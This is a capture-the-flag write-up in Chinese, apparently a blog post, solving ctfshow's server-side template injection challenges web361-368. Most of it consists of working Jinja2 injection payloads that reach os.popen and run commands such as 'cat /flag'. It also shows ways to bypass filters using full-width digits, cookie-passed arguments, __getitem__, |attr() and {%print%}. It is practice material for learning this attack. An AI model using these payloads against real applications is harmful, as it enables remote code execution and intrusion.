ctfshow---web入门---SSTI(361-368)

web361

根据题目给的“名字就是考点”,

所以构建playload

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} 
  1. "".__class__: 获取空字符串的类,即str
  2. .__bases__[0]: 获取str类的基类,即objectobject是所有Python类的基类。
  3. .__subclasses__(): 获取object类所有的直接子类列表。
  4. [132]: 选择列表中的第133个子类(因为索引是从0开始的)。这个特定的子类是不确定的,因为它取决于Python的实现和可能加载的其他模块。
  5. .__init__: 获取该子类的初始化方法(如果存在的话)。
  6. .__globals__: 获取定义__init__方法的模块的全局变量字典。
  7. ['popen']: 从全局变量字典中获取名为popen的引用。这通常指的是os.popen函数,该函数用于执行一个命令并返回一个文件对象。

web362

根据题目"开始过滤"

可以试一试过滤,判断一下它过滤什么

测试数字

经过多次测试发现只有1和7没被过滤

绕过方法:用全角数字 ‘0’,‘1’,‘2’,‘3’,‘4’,‘5’,‘6’,‘7’,‘8’,‘9’

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} 

web363

这一关也是过滤

具体过程就不说了,它是过滤了单双引号

payload:

?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()

web364

也是过滤

只不过它过滤了args ,所以GET传参就不可以了

改用cookie 

?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie传参:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web365

测试jinja2模板注入

这时候我们造一个字典跑一下过滤

过程就不说了

一共过滤了四个字符''""[args

我们选择用popen函数执行命令,其他五种方式同理。

先测测os模块在哪

{{x.__class__.__bases__.__getitem__(0).__subclasses__()}}

定位132

原始payload:

{{''.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}

__getitem__绕过中括号[过滤:

{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen('ls /').read()}}

request对象绕过引号''""过滤,cookie或者values绕过args过滤

{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}

Cookie传参:x=ls /

然后

Cookie传参:x=tac /f*

就完成了

web366

直接说结果,过滤了''""[args_

我们选择用popen函数执行命令

定位

{{x.__class__.__bases__.__getitem__(0).__subclasses__()}}

还是132

原始payload

{{(lipsum.__globals__).os.popen("tac /flag").read()}} 

|attr()+request对象绕过对下划线_过滤。

request对象绕过引号''""过滤,cookie或者values绕过args过滤

{{(lipsum|attr(request.cookies.x1)).os.popen(request.cookies.x2).read()}} 

Cookie传参:x1= __globals__;x2=tac /flag

web367

过滤了''""[args_os

{{(lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read()}}

Cookie传参:x1= __globals__;x2=os;x3=tac /flag

web368

过滤了''""[args_os{{

比上题多过滤了一个{{,我们用{%print(......)%}绕过

payload

{%print((lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read())%}

 

Cookie传参:x1= __globals__;x2=os;x3=tac /flag

  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值